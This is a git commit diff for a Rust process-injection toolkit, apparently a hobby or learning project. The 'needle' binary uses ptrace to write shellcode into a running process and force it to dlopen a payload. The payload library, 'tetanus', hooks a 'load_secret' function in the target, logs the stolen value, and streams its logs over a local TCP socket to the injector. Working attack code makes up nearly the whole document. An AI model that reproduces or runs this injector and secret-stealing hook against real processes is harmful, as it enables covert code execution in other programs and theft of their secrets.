feat: sorted modules, added tracing + basic remote

initial implementation of remote tracing via tcp as seen in
fasterthanlime, needs way more work to be reliable
This commit is contained in:
əlemi 2023-03-30 04:48:12 +02:00
parent fab29c5423
commit ecae892afb
Signed by: alemi
GPG key ID: A4895B84D311642C
12 changed files with 246 additions and 127 deletions

View file

@ -6,7 +6,7 @@ edition = "2021"
[lib]
name = "tetanus"
crate-type = ["cdylib"]
path = "src/lib.rs"
path = "src/tetanus/lib.rs"
[[bin]]
name = "needle"
@ -22,3 +22,5 @@ elf = "0.7.2"
nix = "0.26.2"
proc-maps = "0.3.0"
libloading = "0.7.4"
tracing = "0.1.37"
tracing-subscriber = "0.3.16"

View file

@ -1,111 +0,0 @@
use std::{error::Error, ffi::c_int, path::{Path, PathBuf}};
use elf::{ElfBytes, endian::AnyEndian, ParseError};
use libloading::os::unix::{Library, Symbol};
use proc_maps::get_process_maps;
use retour::{static_detour, Function};
static_detour! {
static HOOK : unsafe extern "C" fn() -> c_int;
}
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
fn constructor() {
std::thread::spawn(|| {
eprint!(" -[infected]- ");
if let Err(e) = add_hooks() {
eprintln!("[!] Could not add hooks : {}", e);
}
});
}
fn add_hooks() -> Result<(), Box<dyn Error>> {
let ptr = find_symbol("load_secret")?;
unsafe {
HOOK.initialize(ptr, || {
let secret = HOOK.call();
eprint!(" ( ͡° ͜ʖ ͡°) its {} ", secret);
secret
})?;
HOOK.enable()?;
}
Ok(())
}
fn find_symbol<T : Function>(name: &str) -> Result<T, Box<dyn Error>> {
// try to find it among exported symbols
let this = Library::this(); // TODO don't reopen it every time
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
if let Ok(s) = sym {
return Ok(*s);
}
// try to read it from executable's elf
if let Some(exec) = find_argv0() {
let (base, path) = map_addr_path(&exec)?;
let offset = offset_in_elf(&path, &name)?;
let addr : *const () = (base + offset) as *const ();
return Ok(unsafe { Function::from_ptr(addr) } );
}
Err(Box::new(not_found("could not find symbol in executable ELF, possibly stripped?")))
}
fn offset_in_elf(path: &Path, symbol: &str) -> Result<usize, ParseError> {
let exec_data = std::fs::read(path)?;
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
let common = headers.find_common_data()?;
// first try with hash table
if let Some(hash_table) = common.sysv_hash {
if let Some(dynsyms) = common.dynsyms {
if let Some(strtab) = common.dynsyms_strs {
if let Some((_id, sym)) = hash_table.find(symbol.as_bytes(), &dynsyms, &strtab)? {
return Ok(sym.st_value as usize);
}
}
}
}
// fall back to iterating symbols table
if let Some(symtab) = common.symtab {
if let Some(strs) = common.symtab_strs {
for sym in symtab {
let name = strs.get(sym.st_name as usize)?;
if name == symbol {
return Ok(sym.st_value as usize);
}
}
}
}
Err(not_found("idk where to search :(").into())
}
fn map_addr_path(name: &str) -> std::io::Result<(usize, PathBuf)> {
let proc_maps = get_process_maps(std::process::id() as i32)?;
for map in proc_maps {
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
if map.is_exec() {
if let Some(path) = map.filename() {
if path.ends_with(name) {
return Ok((map.start() - map.offset, map.filename().unwrap().to_path_buf()));
}
}
}
}
Err(not_found("no process is mapped from a path ending with given name"))
}
fn find_argv0() -> Option<String> { // could be a relative path, just get last member
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
}
fn not_found(txt: &str) -> std::io::Error {
std::io::Error::new(std::io::ErrorKind::NotFound, txt)
}

View file

@ -1,6 +1,7 @@
use nix::{unistd::Pid, Result, libc::{PROT_READ, MAP_PRIVATE, MAP_ANON, PROT_EXEC}, sys::{ptrace, wait::waitpid}};
use tracing::{debug, info};
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::{write_buffer, read_buffer, ByteVec}, injector::RemoteOperation};
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::write_buffer, injector::RemoteOperation};
pub struct RemoteShellcode<'a> {
code: &'a [u8],
@ -19,20 +20,18 @@ impl RemoteOperation for RemoteShellcode<'_> {
let ptr = RemoteMMap::args(
0, self.code.len() + 1, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0
).inject(pid, syscall)?;
println!("Obtained area @ 0x{:X}", ptr);
debug!("obtained area @ 0x{:X}", ptr);
self.ptr = Some(ptr);
let mut shellcode = self.code.to_vec();
shellcode.push(0xCC); // is this the debugger trap?
write_buffer(pid, ptr as usize, shellcode.as_slice())?;
let shellcode = read_buffer(pid, ptr as usize, self.code.len() + 1)?;
println!("Copied shellcode {}", ByteVec::from(shellcode));
let mut regs = original_regs.clone();
regs.rip = ptr;
ptrace::setregs(pid, regs)?;
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
let after_regs = ptrace::getregs(pid)?;
println!("Executed shellcode (RIP: 0x{:X})", after_regs.rip);
info!("executed shellcode (RIP: 0x{:X})", after_regs.rip);
Ok(ptr)
}

View file

@ -14,7 +14,6 @@ pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
registers = ptrace::getregs(pid)?;
addr = registers.rip as usize;
instructions = ptrace::read(pid, addr as *mut c_void)?;
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
if instructions & 0xFFFF == 0x050F {
return Ok(addr);
@ -41,7 +40,6 @@ pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
let proc_maps = get_process_maps(pid.as_raw())?;
for map in proc_maps {
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
return Ok((
map.start() - map.offset,

View file

@ -3,16 +3,19 @@ mod executors;
mod senders;
mod injector;
mod explorers;
mod monitor;
use std::path::PathBuf;
use injector::RemoteOperation;
use monitor::monitor_payload;
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
use clap::Parser;
use executors::RemoteShellcode;
use senders::RemoteString;
use explorers::step_to_syscall;
use tracing::{metadata::LevelFilter, info, error};
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
@ -45,6 +48,10 @@ struct NeedleArgs {
/// instead of injecting a library, execute an exit syscall with code 69
#[arg(long, default_value_t = false)]
kill: bool,
/// after injecting, keep alive listening for logs
#[arg(long, default_value_t = false)]
monitor: bool,
}
fn nasty_stuff(args: NeedleArgs) -> Result<()> {
@ -52,7 +59,7 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
ptrace::attach(pid)?;
waitpid(pid, None)?;
println!("Attached to process #{}", args.pid);
info!("attached to process #{}", args.pid);
// continue running process step-by-step until we find a syscall
let syscall = step_to_syscall(pid)?; // TODO no real need to step...
@ -60,12 +67,12 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
if args.kill {
RemoteExit::args(69).exit(pid, syscall)?;
println!("Killed process #{}", args.pid);
info!("killed process #{}", args.pid);
return Ok(());
}
// move path to our payload into target address space
let tetanus = RemoteString::new(args.payload + "\0")
let tetanus = RemoteString::new(args.payload.clone() + "\0")
.inject(pid, syscall)?;
// find dlopen address
@ -97,7 +104,6 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
dlopen_addr = base + offset;
}
println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr);
let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode?
0x55, // pusb rbp
@ -120,21 +126,33 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
ptrace::setregs(pid, regs)?;
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
println!("Injected dlopen() call");
info!("invoked dlopen('{}', 1) @ 0x{:X}", args.payload, dlopen_addr);
// restore original registers and detach
// TODO clean allocated areas
ptrace::setregs(pid, original_regs)?;
ptrace::detach(pid, None)?;
println!("Released process #{}", args.pid);
info!("released process #{}", args.pid);
Ok(())
}
fn main() {
tracing_subscriber::fmt()
.with_max_level(LevelFilter::INFO)
.init();
let args = NeedleArgs::parse();
let monitor = args.monitor;
if let Err(e) = nasty_stuff(args) {
eprintln!("Error while injecting : {} ({})", e, e.desc());
error!("error injecting shared object: {} ({})", e, e.desc());
return;
}
if monitor {
monitor_payload();
}
}

16
src/needle/monitor.rs Normal file
View file

@ -0,0 +1,16 @@
use std::net::TcpListener;
use tracing::info;
pub fn monitor_payload() {
info!("listening for logs from injected payload ...");
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
if let Ok((mut stream, addr)) = listener.accept() {
info!("incoming data ({})", addr);
while let Ok(n) = std::io::copy(&mut stream, &mut std::io::stdout()) {
if n <= 0 { break; }
}
info!("connection closed ({})", addr);
}
}
}

View file

@ -1,6 +1,7 @@
use std::{ffi::c_void, fmt::Display, mem::size_of};
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
use tracing::{debug, info};
use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
@ -31,7 +32,7 @@ pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
for i in (0..size).step_by(WORD_SIZE) {
let data = ptrace::read(pid, (addr + i) as *mut c_void)?;
println!("read {} bytes from target : 0x{:x}", WORD_SIZE, data);
debug!("read {} bytes: 0x{:x}", WORD_SIZE, data);
for j in 0..WORD_SIZE {
out.push(((data >> (j * 8)) & 0xFF) as u8);
}
@ -49,6 +50,7 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8]) -> Result<()> {
buf |= (*c as u64) << (i * 8);
}
unsafe { ptrace::write(pid, at as *mut c_void, buf as *mut c_void)?; }
debug!("wrote {} bytes: 0x{:x}", WORD_SIZE, buf);
at += WORD_SIZE;
}
@ -73,6 +75,7 @@ impl RemoteOperation for RemoteString {
).inject(pid, syscall)?;
write_buffer(pid, ptr as usize, self.txt.as_bytes())?;
self.ptr = Some(ptr as usize);
info!("sent '{}'", self.txt);
Ok(ptr)
}

View file

@ -1,4 +1,5 @@
use nix::{libc::user_regs_struct, Result, sys::{ptrace, wait::waitpid}, unistd::Pid};
use tracing::debug;
use crate::{injector::RemoteOperation, senders::RemoteString};
@ -21,10 +22,12 @@ impl<T> RemoteOperation for T where T: RemoteSyscall {
let mut regs = ptrace::getregs(pid)?;
regs.rip = syscall as u64;
self.registers(&mut regs);
let syscall_nr = regs.rax;
ptrace::setregs(pid, regs)?;
ptrace::step(pid, None)?;
waitpid(pid, None)?;
regs = ptrace::getregs(pid)?;
debug!(target: "remote-syscall", "executed syscall #{} -> {}", syscall_nr, regs.rax);
Ok(regs.rax)
}

34
src/tetanus/hooks.rs Normal file
View file

@ -0,0 +1,34 @@
use std::ffi::c_int;
use retour::static_detour;
use tracing::info;
use crate::locators::find_symbol;
static_detour! {
static HOOK : unsafe extern "C" fn() -> c_int;
}
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
if let Some(ptr) = find_symbol("load_secret")? {
unsafe {
HOOK.initialize(ptr, cb::hook)?;
HOOK.enable()?;
}
info!("installed hook on 'load_secret'");
}
Ok(())
}
mod cb {
use tracing::info;
use super::HOOK;
pub fn hook() -> i32 {
let secret = unsafe { HOOK.call() };
info!("( ͡° ͜ʖ ͡°) its {}", secret);
secret
}
}

32
src/tetanus/lib.rs Normal file
View file

@ -0,0 +1,32 @@
pub mod locators;
pub mod hooks;
pub mod tricks;
use std::{net::TcpStream, sync::Mutex};
use tracing::{info, error};
use crate::hooks::add_hooks;
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
fn constructor() {
std::thread::spawn(|| {
match TcpStream::connect("127.0.0.1:13337") {
Ok(stream) => tracing_subscriber::fmt()
.with_writer(Mutex::new(stream))
.init(),
Err(_) => {},
}
info!(target: "tetanus", "infected target");
if let Err(e) = add_hooks() {
error!(target: "tetanus", "could not add hooks : {}", e);
}
});
}
#[ctor::dtor]
fn destructor() {}

110
src/tetanus/locators.rs Normal file
View file

@ -0,0 +1,110 @@
use std::error::Error;
use libloading::os::unix::{Library, Symbol};
use retour::Function;
use tracing::warn;
use crate::tricks::find_argv0;
pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>> {
// try to find it among exported symbols
let this = Library::this(); // TODO don't reopen it every time
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
if let Ok(s) = sym {
return Ok(Some(*s));
}
// try to read it from executable's elf
match find_argv0() {
None => warn!("could not find argv0 for process"),
Some(exec) => match procmaps::map_addr_path(&exec)? {
None => warn!("could not find base addr of process image"),
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
None => warn!("could not locate requested symbol in ELF"),
Some(offset) => {
let addr : *const () = (base + offset) as *const ();
return Ok(Some(unsafe { Function::from_ptr(addr) } ));
}
}
}
}
Ok(None)
}
pub mod exec {
use std::path::Path;
use elf::{ParseError, ElfBytes, endian::AnyEndian};
use tracing::{warn, debug};
pub fn offset_in_elf(path: &Path, symbol: &str) -> Result<Option<usize>, ParseError> {
let exec_data = std::fs::read(path)?;
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
let common = headers.find_common_data()?;
// first try with hash table
match common.sysv_hash {
None => warn!("missing symbols hash table in ELF"),
Some(sysv_hash) => match common.dynsyms {
None => warn!("missing dynamic symbols in ELF"),
Some(dynsyms) => match common.dynsyms_strs {
None => warn!("missing string tab for dynamic symbols in ELF"),
Some(dynsyms_strs) => match sysv_hash.find(symbol.as_bytes(), &dynsyms, &dynsyms_strs)? {
None => debug!("could not find symbol {} in ELF hashmap", symbol),
Some((_id, sym)) => return Ok(Some(sym.st_value as usize)),
},
},
},
}
// fall back to iterating symbols table
match common.symtab {
None => warn!("missing symbols table in ELF"),
Some(symtab) => match common.symtab_strs {
None => warn!("missing names for symbols in ELF"),
Some(symtab_strs) => {
for sym in symtab {
let name = symtab_strs.get(sym.st_name as usize)?;
if name == symbol {
return Ok(Some(sym.st_value as usize));
}
}
debug!("no symbol matched '{}'", symbol);
}
}
}
Ok(None)
}
}
pub mod procmaps {
use std::path::PathBuf;
use proc_maps::get_process_maps;
use tracing::{debug, warn};
use crate::tricks::fmt_path;
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
let proc_maps = get_process_maps(std::process::id() as i32)?;
for map in proc_maps {
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
if map.is_exec() {
if let Some(path) = map.filename() {
if path.ends_with(name) {
return Ok(Some((map.start() - map.offset, map.filename().unwrap().to_path_buf())));
}
}
}
}
warn!("could not find address of '{}'", name);
Ok(None)
}
}

15
src/tetanus/tricks.rs Normal file
View file

@ -0,0 +1,15 @@
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
}
pub fn fmt_path(p: Option<&std::path::Path>) -> String {
match p {
Some(path) => {
match path.to_str() {
Some(s) => s.into(),
None => "?".into(),
}
},
None => "".into(),
}
}